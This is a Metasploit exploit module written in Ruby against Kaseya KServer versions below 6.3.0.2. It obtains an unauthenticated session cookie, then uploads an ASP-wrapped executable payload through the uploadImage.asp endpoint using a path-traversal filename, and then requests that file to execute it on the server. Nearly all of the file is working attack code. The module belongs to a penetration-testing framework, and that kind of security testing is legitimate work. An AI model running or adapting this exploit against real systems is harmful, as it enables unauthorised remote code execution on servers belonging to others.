102 lines
3.2 KiB
Ruby
102 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kaseya uploadImage Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability found in Kaseya versions below
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6.3.0.2. A malicious user can upload an ASP file to an arbitrary directory without previous
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authentication, leading to arbitrary code execution with IUSR privileges.
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},
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'Author' =>
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[
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'Thomas Hibbert <thomas.hibbert@security-assessment.com>' # Vulnerability discovery and MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '99984'],
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['BID', '63782'],
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['EDB', '29675'],
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['URL', 'http://security-assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf']
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Privileged' => false,
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'Targets' =>
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[
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[ 'Kaseya KServer / Windows', {} ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 11 2013'))
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end
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def check
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri('SystemTab','uploadImage.asp')
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})
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# the vuln was patched by removing uploadImage.asp. if the page is there, calling it without params will return 500, else 404
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unless res and res.code == 500
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return Exploit::CheckCode::Unknown
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end
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return Exploit::CheckCode::Appears
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end
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def exploit
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print_status("Getting cookie...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("SystemTab", "uploadImage.asp")
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})
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unless res and res.code == 500 and res.headers and res.headers.include?('Set-Cookie')
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fail_with(Failure::Unknown, "#{peer} - Failed to get cookie")
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end
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cookie = res.get_cookies
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@payload_name = "#{rand_text_alpha_lower(8)}.asp"
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exe = generate_payload_exe
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asp = Msf::Util::EXE.to_exe_asp(exe)
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post_data = Rex::MIME::Message.new
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post_data.add_part(asp, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{@payload_name}")
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data = post_data.to_s
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print_status("Uploading payload...")
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res = send_request_cgi({
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"method" => "POST",
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"uri" => normalize_uri("SystemTab", "uploadImage.asp"),
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"vars_get" => {
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"filename" => "..\\..\\..\\..\\#{@payload_name}"
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},
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"data" => data,
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"ctype" => "multipart/form-data; boundary=#{post_data.bound}",
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"cookie" => cookie
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})
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unless res and res.code == 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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register_files_for_cleanup(@payload_name)
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print_status("Executing payload #{@payload_name}")
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res = send_request_cgi({
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'uri' => normalize_uri(@payload_name),
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'method' => 'GET'
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})
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end
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end
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